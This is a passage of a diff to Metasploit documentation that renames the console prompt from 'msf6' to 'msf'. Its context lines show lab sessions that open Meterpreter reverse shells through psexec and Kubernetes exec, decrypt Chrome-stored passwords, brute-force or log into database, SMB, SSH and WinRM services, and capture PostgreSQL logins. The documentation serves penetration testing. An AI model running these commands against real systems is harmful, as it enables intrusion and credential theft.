@@ -15,7 +15,7 @@ msf6 exploit(multi/handler) > favorite
 Using the active module without an active module will print the `favorite` command help output:

 ```shell
-msf6 > favorite
+msf > favorite
 [-] No module has been provided to favorite.
 Usage: favorite [mod1 mod2 ...]

@@ -35,10 +35,10 @@ OPTIONS:
 The second method of adding favorites allows adding multiple modules at once:

 ```msf
-msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec
+msf > favorite exploit/multi/handler exploit/windows/smb/psexec
 [+] Added exploit/multi/handler to the favorite modules file
 [+] Added exploit/windows/smb/psexec to the favorite modules file
-msf6 > show favorites
+msf > show favorites

 Favorites
 =========
@@ -59,14 +59,14 @@ Modules can be deleted from the favorites list individually or by clearing the c
 #### Deleting an active module from favorites list

 ```shell
-msf6 exploit(multi/handler) > favorite -d
+msf exploit(multi/handler) > favorite -d
 [*] Removing exploit/multi/handler from the favorite modules file
 ```

 #### Specifying module(s) to delete

 ```shell
-msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
+msf > favorite -d exploit/multi/handler exploit/windows/smb/psexec
 [*] Removing exploit/multi/handler from the favorite modules file
 [*] Removing exploit/windows/smb/psexec from the favorite modules file
 ```
@@ -74,7 +74,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
 #### Clearing the favorites list

 ```msf
-msf6 > show favorites
+msf > show favorites

 Favorites
 =========
@@ -84,9 +84,9 @@ Favorites
   0  exploit/multi/handler                        manual  No     Generic Payload Handler
   1  exploit/windows/smb/psexec  1999-01-01       manual  No     Microsoft Windows Authenticated User Code Execution

-msf6 > favorite -c
+msf > favorite -c
 [+] Favorite modules file cleared
-msf6 > show favorites
+msf > show favorites
 [!] The favorite modules file is empty
 ```

@@ -95,7 +95,7 @@ msf6 > show favorites
 The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands.

 ```shell
-msf6 > favorite -l
+msf > favorite -l

 Favorites
 =========
@@ -104,4 +104,4 @@ Favorites
   -  ----                        ---------------  ----    -----  -----------
   0  exploit/multi/handler                        manual  No     Generic Payload Handler
   1  exploit/windows/smb/psexec  1999-01-01       manual  No     Microsoft Windows Authenticated User Code Execution
-```
+```
@@ -352,19 +352,19 @@ end
 The module will start the http server and print the repo to clone

 ```msf
-msf6 > use exploit/multi/http/git_clone_test
+msf > use exploit/multi/http/git_clone_test
 [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
-msf6 exploit(multi/http/git_clone_test) > set srvport 9999
+msf exploit(multi/http/git_clone_test) > set srvport 9999
 srvport => 9999
-msf6 exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
+msf exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
 lhost => 192.168.140.1
-msf6 exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
+msf exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
 srvhost => 192.168.140.1
-msf6 exploit(multi/http/git_clone_test) > run
+msf exploit(multi/http/git_clone_test) > run
 [*] Exploit running as background job 0.
 [*] Exploit completed, but no session was created.

-msf6 exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 
+msf exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444 
 [*] Using URL: http://192.168.140.1:9999/MOYuJfC
 [*] Server started.
 [*] Git repository to clone: http://192.168.140.1:9999/y-find.git
@@ -5,18 +5,18 @@ and should not be used during normal operations. These modules also as part of t
 By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:

 ```msf
-msf6 > loadpath test/modules
+msf > loadpath test/modules
 Loaded 38 modules:
    14 auxiliary modules
    13 exploit modules
    11 post modules
-msf6 > 
+msf > 
 ```

 The modules can be searched for:

 ```msf
-msf6 > search post/test
+msf > search post/test

 Matching Modules
 ================
@@ -35,8 +35,8 @@ Matching Modules
 Example of running the test module against an opened session:

 ```
-msf6 > use post/test/cmd_exec
-msf6 post(test/cmd_exec) > run session=-1
+msf > use post/test/cmd_exec
+msf post(test/cmd_exec) > run session=-1
 ...
 [*] Testing complete in 2.04 seconds
 [*] Passed: 6; Failed: 0; Skipped: 0
@@ -47,7 +47,7 @@ The `post/test/all` module is an aggregate module that can be used to quickly ru
 against a currently open session:

 ```msf
-msf6 post(test/all) > run session=-1
+msf post(test/all) > run session=-1

 [*] Applicable modules:
 Valid modules for x86/windows session 1
@@ -7,7 +7,7 @@ When you have a number of sessions open, searching can be a useful tool to navig
 You can get a list of sessions matching a specific criteria within msfconsole:

 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
+msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
 Active sessions
 ===============

@@ -20,7 +20,7 @@ Active sessions
 Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:

 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
+msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v

 Active sessions
 ===============
@@ -45,7 +45,7 @@ Of note in the above example, `last_checkin` requires an extra argument. The sec
 If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:

 ```msf
-msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
+msf payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
 [*] Killing matching sessions...

 Active sessions
@@ -58,5 +58,5 @@ Active sessions

 [*] 192.168.2.132 - Meterpreter session 1 closed.
 [*] 192.168.2.132 - Meterpreter session 2 closed.
-msf6 payload(windows/meterpreter/reverse_http) >
+msf payload(windows/meterpreter/reverse_http) >
 ```
@@ -30,7 +30,7 @@ In both scenarios, reports will be generated and written to disk that can be ope
 The `time` command in msfconsole can be used to record the performance of a command:

 ```msf
-msf6 exploit(windows/smb/ms17_010_psexec) > time reload
+msf exploit(windows/smb/ms17_010_psexec) > time reload
 [*] Reloading module...
 [+] Command "reload" completed in 0.20876399998087436 seconds
 ```
@@ -38,7 +38,7 @@ msf6 exploit(windows/smb/ms17_010_psexec) > time reload
 It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:

 ```msf
-msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
+msf exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
 ... etc ...
 Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
 [+] Command "search smb" completed in 0.4150249999947846 seconds
@@ -42,7 +42,7 @@ Creating initial database schema
 This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.  If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:

 ```
-msf6 > db_status
+msf > db_status
 [*] Connected to msf. Connection type: postgresql.
 ```

@@ -11,7 +11,7 @@ Note that any port can be used to run an application which communicates via HTTP
 This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:

 ```msf
-msf6 > search tomcat http
+msf > search tomcat http
 ```

 ### HTTP Examples
@@ -49,12 +49,12 @@ run http://example.com HttpTrace=true verbose=true
 For instance:

 ```msf
-msf6 > use scanner/http/title
-msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
+msf > use scanner/http/title
+msf auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
 RHOSTS => 127.0.0.1
-msf6 auxiliary(scanner/http/title) > set HttpTrace true
+msf auxiliary(scanner/http/title) > set HttpTrace true
 HttpTrace => true
-msf6 auxiliary(scanner/http/title) > run
+msf auxiliary(scanner/http/title) > run

 ####################
 # Request:
@@ -89,7 +89,7 @@ Content-Length: 178
 [+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for /
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/http/title) >
+msf auxiliary(scanner/http/title) >
 ```

 To send all HTTP requests through a proxy, i.e. through Burp Suite:
@@ -170,13 +170,13 @@ Header-Name-Here: <%= 'content of header goes here' %>

 The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
 ```msf
-msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
+msf auxiliary(scanner/http/scraper) > cat additional_headers.txt
 [*] exec: cat additional_headers.txt

 X-Cookie-Header: <%= 'example-cookie' %>
-msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
+msf auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
 HTTPRAWHEADERS => additional_headers.txt
-msf6 auxiliary(scanner/http/scraper) > exploit
+msf auxiliary(scanner/http/scraper) > exploit

 ####################
 # Request:
@@ -9,7 +9,7 @@ a compromised docker container, or external to the cluster if the required APIs
 In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search kubernetes
+msf > search kubernetes
 ```

 ### Lab Environment
@@ -41,12 +41,12 @@ run session=-1
 If the Kubernetes API is publicly accessible and you have a JWT Token:

 ```msf
-msf6 > use cloud/kubernetes/enum_kubernetes
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
+msf > use cloud/kubernetes/enum_kubernetes
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
 RHOST => https://kubernetes.docker.internal:6443
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
 TOKEN => eyJhbGciO...
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > run
 [*] Running module against 127.0.0.1

 [+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
@@ -68,7 +68,7 @@ Namespaces
 By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform:

 ```msf
-msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
+msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions

 Auxiliary actions:

@@ -115,9 +115,9 @@ If you have a Meterpreter session on a compromised Kubernetes container with the
 will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available:

 ```msf
-msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
+msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
 TARGET => Interactive WebSocket
-msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
+msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1

 [*] Routing traffic through session: 1
 [+] Kubernetes service host: 10.96.0.1:443
@@ -137,19 +137,19 @@ pwd
 If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod:

 ```msf
-msf6 > use exploit/multi/kubernetes/exec
+msf > use exploit/multi/kubernetes/exec
 [*] Using configured payload python/meterpreter/reverse_tcp
-msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
+msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
 TOKEN => eyJhbGciOiJSUzI1...
-msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
+msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
 POD => thinkphp-67f7c88cc9-tgpfh
-msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
+msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
 RHOSTS => 192.168.159.31
-msf6 exploit(multi/kubernetes/exec) > set TARGET Python
+msf exploit(multi/kubernetes/exec) > set TARGET Python
 TARGET => Python
-msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
+msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
 PAYLOAD => python/meterpreter/reverse_tcp
-msf6 exploit(multi/kubernetes/exec) > run
+msf exploit(multi/kubernetes/exec) > run

 [*] Started reverse TCP handler on 192.168.159.128:4444
 [*] Sending stage (39736 bytes) to 192.168.159.31
@@ -164,5 +164,5 @@ Architecture : x64
 Meterpreter  : python/linux
 meterpreter > background
 [*] Backgrounding session 1...
-msf6 exploit(multi/kubernetes/exec) >
+msf exploit(multi/kubernetes/exec) >
 ```
@@ -44,7 +44,7 @@ run ldap://domain.local;Administrator:p4$$w0rd@192.168.123.13/dc=domain,dc=local
 Example output:

 ```msf
-msf6 auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
+msf auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
 [*] Running module against 192.168.123.13

 [*] Discovering base DN automatically
@@ -112,8 +112,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Query LDAP for accounts:

 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
 [*] Running module against 192.168.123.13

 [+] 192.168.123.13:88 - Received a valid TGT-Response
@@ -11,13 +11,13 @@ MSSQL is frequently found on port on the following ports:
 For a full list of MSSQL modules run the `search` command within msfconsole:

 ```msf
-msf6 > search mssql
+msf > search mssql
 ```

 Or to search for modules that work with a specific session type:

 ```msf
-msf6 > search session_type:mssql
+msf > search session_type:mssql
 ```

 ### Lab Environment
@@ -61,7 +61,7 @@ on a successful login:
 Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.

 ```msf
-msf6 auxiliary(scanner/mssql/mssql_login) > sessions
+msf auxiliary(scanner/mssql/mssql_login) > sessions

 Active sessions
 ===============
@@ -70,7 +70,7 @@ Active sessions
  --  ----  ----   -----------                      ----------
  1         mssql  MSSQL test @ 192.168.2.242:1433  192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)

-msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
+msf auxiliary(scanner/mssql/mssql_login) > sessions -i 1
 [*] Starting interaction with 1...

 mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
@@ -146,7 +146,7 @@ This session also works with the following modules:
 To interact directly with the session as if in a SQL prompt, you can use the `query` command.

 ```msf
-msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
+msf auxiliary(scanner/mssql/mssql_login) > sessions -i -1
 [*] Starting interaction with 2...

 mssql @ 192.168.2.242:1433 (master) > query -h
@@ -224,8 +224,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Connect to a Microsoft SQL Server instance and run a query:

 ```msf
-msf6 > use auxiliary/admin/mssql/mssql_sql
-msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
+msf > use auxiliary/admin/mssql/mssql_sql
+msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
 [*] Reloading module...
 [*] Running module against 192.168.123.13

@@ -14,13 +14,13 @@ Metasploit has support for multiple MySQL modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search mysql
+msf > search mysql
 ```

 Or to search for modules that work with a specific session type:

 ```msf
-msf6 > search session_type:mysql
+msf > search session_type:mysql
 ```

 ### Lab Environment
@@ -92,15 +92,15 @@ for the MySQL client you're connecting to. The run command with CreateSession
 set to true should give you an interactive session:

 ```msf
-msf6 > use scanner/mysql/mysql_login 
-msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
+msf > use scanner/mysql/mysql_login 
+msf auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true

 [+] 127.0.0.1:4306        - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
 [+] 127.0.0.1:4306        - 127.0.0.1:4306 - Success: 'root:password'
 [*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
 [*] 127.0.0.1:4306        - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
+msf auxiliary(scanner/mysql/mysql_login) > sessions -i -1
 [*] Starting interaction with 1...

 mysql @ 127.0.0.1:4306 >
@@ -110,7 +110,7 @@ You can interact with your new session using `sessions -i -1` or `sessions <sess
 You can also use `help` to get more information about how to use your session.

 ```msf
-msf6 auxiliary(scanner/mysql/mysql_login) > sessions
+msf auxiliary(scanner/mysql/mysql_login) > sessions

 Active sessions
 ===============
@@ -120,7 +120,7 @@ Active sessions
  2         mssql  MSSQL test @ 192.168.2.242:1433  192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
  3         mysql  MySQL root @ 127.0.0.1:4306      127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)

-msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
+msf auxiliary(scanner/mysql/mysql_login) > sessions -i 3
 [*] Starting interaction with 3...
 ```

@@ -7,7 +7,7 @@ Metasploit post modules replace old Meterpreter scripts, which are no longer mai
 You can search for post gather modules within msfconsole:

 ```msf
-msf6 > search type:post platform:windows name:gather
+msf > search type:post platform:windows name:gather

 Matching Modules
 ================
@@ -26,8 +26,8 @@ There are two ways to launch a Post module, both require an existing session.
 Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:

 ```msf
-msf6 > use post/windows/gather/enum_chrome
-msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
+msf > use post/windows/gather/enum_chrome
+msf post(windows/gather/enum_chrome) > run session=-1 verbose=true

 [*] Impersonating token: 7192
 [*] Running as user 'DESKTOP-N3MAG5R\basic_user'...
@@ -44,13 +44,13 @@ msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
 [+] Decrypted data: url:https://www.example.com/ my_username:my_password_123
 [+] Decrypted data saved in: /Users/user/.msf4/loot/20220422122129_default_192.168.123.151_chrome.decrypted_981698.txt
 [*] Post module execution completed
-msf6 post(windows/gather/enum_chrome) >
+msf post(windows/gather/enum_chrome) >
 ```

 Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value:

 ```msf
-msf6 > sessions --interact -1
+msf > sessions --interact -1
 [*] Starting interaction with 5...

 meterpreter > run post/windows/gather/enum_applications
@@ -14,13 +14,13 @@ Metasploit has support for multiple PostgreSQL modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search postgres
+msf > search postgres
 ```

 Or to search for modules that work with a specific session type:

 ```msf
-msf6 > search session_type:postgres
+msf > search session_type:postgres
 ```


@@ -95,7 +95,7 @@ set to true should give you an interactive session.
 For example:

 ```msf
-msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
+msf auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
 ```

 Should yield:
@@ -111,7 +111,7 @@ You can interact with your session using `sessions -i -1` or `sessions <session
 Use the help command for more info.

 ```msf
-msf6 auxiliary(scanner/postgres/postgres_login) > sessions
+msf auxiliary(scanner/postgres/postgres_login) > sessions

 Active sessions
 ===============
@@ -120,7 +120,7 @@ Active sessions
  --  ----  ----        -----------                           ----------
  1         postgresql  PostgreSQL postgres @ 127.0.0.1:5432  127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)

-msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
+msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1
 [*] Starting interaction with 1...
 ```

@@ -257,7 +257,7 @@ psql postgres://postgres:mysecretpassword@localhost:5432
 Metasploit's output will be:

 ```msf
-msf6 auxiliary(server/capture/postgresql) >
+msf auxiliary(server/capture/postgresql) >
 [*] Started service listener on 0.0.0.0:5432
 [*] Server started.
 [+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres
@@ -24,13 +24,13 @@ Metasploit has support for multiple SMB modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search smb
+msf > search smb
 ```

 Or to search for modules that work with a specific session type:

 ```msf
-msf6 > search session_type:smb
+msf > search session_type:smb
 ```

 ### Lab Environment
@@ -75,7 +75,7 @@ When using the smb_login module, the CreateSession option can be used to obtain
 session within the smb instance. Running with the following options:

 ```msf
-msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
+msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
 ```

 Should give you output similar to 
@@ -86,14 +86,14 @@ Should give you output similar to
 [*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
 [*] 172.14.2.164:445    - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
+msf auxiliary(scanner/smb/smb_login) > sessions -i -1
 [*] Starting interaction with 1...
 ```

 Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.

 ```msf
-msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
+msf auxiliary(scanner/smb/smb_login) > sessions -i -1
 [*] Starting interaction with 1...

 SMB (172.14.2.164) > shares
@@ -315,8 +315,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Running psexec against a host:

 ```msf
-msf6 > use exploit/windows/smb/psexec
-msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
+msf > use exploit/windows/smb/psexec
+msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local

 [*] Started reverse TCP handler on 192.168.123.1:4444
 [*] 192.168.123.13:445 - Connecting to the server...
@@ -12,7 +12,7 @@ Metasploit has support for multiple SSH modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search ssh
+msf > search ssh
 ```

 ### Lab Environment
@@ -61,8 +61,8 @@ docker run --rm -it --publish 127.0.0.1:2222:22 ssh_lab:latest
 It should now be possible to test the SSH login from msfconsole:

 ```msf
-msf6 > use scanner/ssh/ssh_login
-msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222
+msf > use scanner/ssh/ssh_login
+msf auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222

 [*] 127.0.0.1:2222 - Starting bruteforce
 [+] 127.0.0.1:2222 - Success: 'test_user:password123' 'uid=700(test_user) gid=700(test_user) groups=700(test_user),700(test_user) Linux 5a26fe63abef 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux '
@@ -3,7 +3,7 @@
 Each Metasploit module has a set of options which must be set before running. These can be seen with the `show options` or `options` command:

 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > options
+msf exploit(windows/smb/ms17_010_eternalblue) > options

 Module options (exploit/windows/smb/ms17_010_eternalblue):

@@ -36,7 +36,7 @@ Exploit target:
 Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful:

 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > advanced
+msf exploit(windows/smb/ms17_010_eternalblue) > advanced

 Module advanced options (exploit/windows/smb/ms17_010_eternalblue):

@@ -61,7 +61,7 @@ Payload advanced options (windows/x64/meterpreter/reverse_tcp):
 You can see which options stilloptions to be set with the `show missing` command:

 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > show missing
+msf exploit(windows/smb/ms17_010_eternalblue) > show missing

 Module options (exploit/windows/smb/ms17_010_eternalblue):

@@ -41,7 +41,7 @@ Metasploit has support for multiple WinRM modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:

 ```msf
-msf6 > search winrm
+msf > search winrm
 ```

 ### Lab Environment
@@ -70,7 +70,7 @@ run https://192.168.123.139:5986
 Example:

 ```msf
-msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985
+msf auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985

 [+] 192.168.123.139:5985: Negotiate protocol supported
 [+] 192.168.123.139:5985: Kerberos protocol supported
@@ -123,14 +123,14 @@ run http://user:pass@192.168.123.139:5985
 Example:

 ```msf
-msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985
+msf auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985

 [!] No active DB -- Credential data will not be saved!
 [+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass
 [*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 7...

 Microsoft Windows [Version 10.0.14393]
@@ -146,8 +146,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Open a WinRM session:

 ```msf
-msf6 > use auxiliary/scanner/winrm/winrm_login
-msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
+msf > use auxiliary/scanner/winrm/winrm_login
+msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local

 [+] 192.168.123.13:88 - Received a valid TGT-Response
 [*] 192.168.123.13:5985   - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -159,7 +159,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
 [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 1...

 Microsoft Windows [Version 10.0.14393]
@@ -61,7 +61,7 @@ When the user views the options for a given module, it will be consolidated. The
 Multiple options are available for configuring the module options:

 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options

 Module options (exploit/multi/http/tomcat_mgr_upload):

@@ -88,7 +88,7 @@ Exploit target:
 Multiple options are consolidated into a single TARGETS field:

 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options

 Module options (exploit/multi/http/tomcat_mgr_upload):

@@ -8,7 +8,7 @@ There are currently two main ways to debug Meterpreter sessions:
 This can be enabled for any Meterpreter session, and does not require a debug Metasploit build:

 ```msf
-msf6 > setg SessionTlvLogging true
+msf > setg SessionTlvLogging true
 SessionTlvLogging => true
 ```

@@ -62,7 +62,7 @@ The result of your registry queries can be impacted if you are interacting with
 You can see the type of session you currently have open with the `sessions` command:

 ```msf
-msf6 exploit(windows/smb/psexec) > sessions
+msf exploit(windows/smb/psexec) > sessions

 Active sessions
 ===============
@@ -46,18 +46,18 @@ execute code such as adding user accounts, or executing a simple pingback comman
 Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:

 ```msf
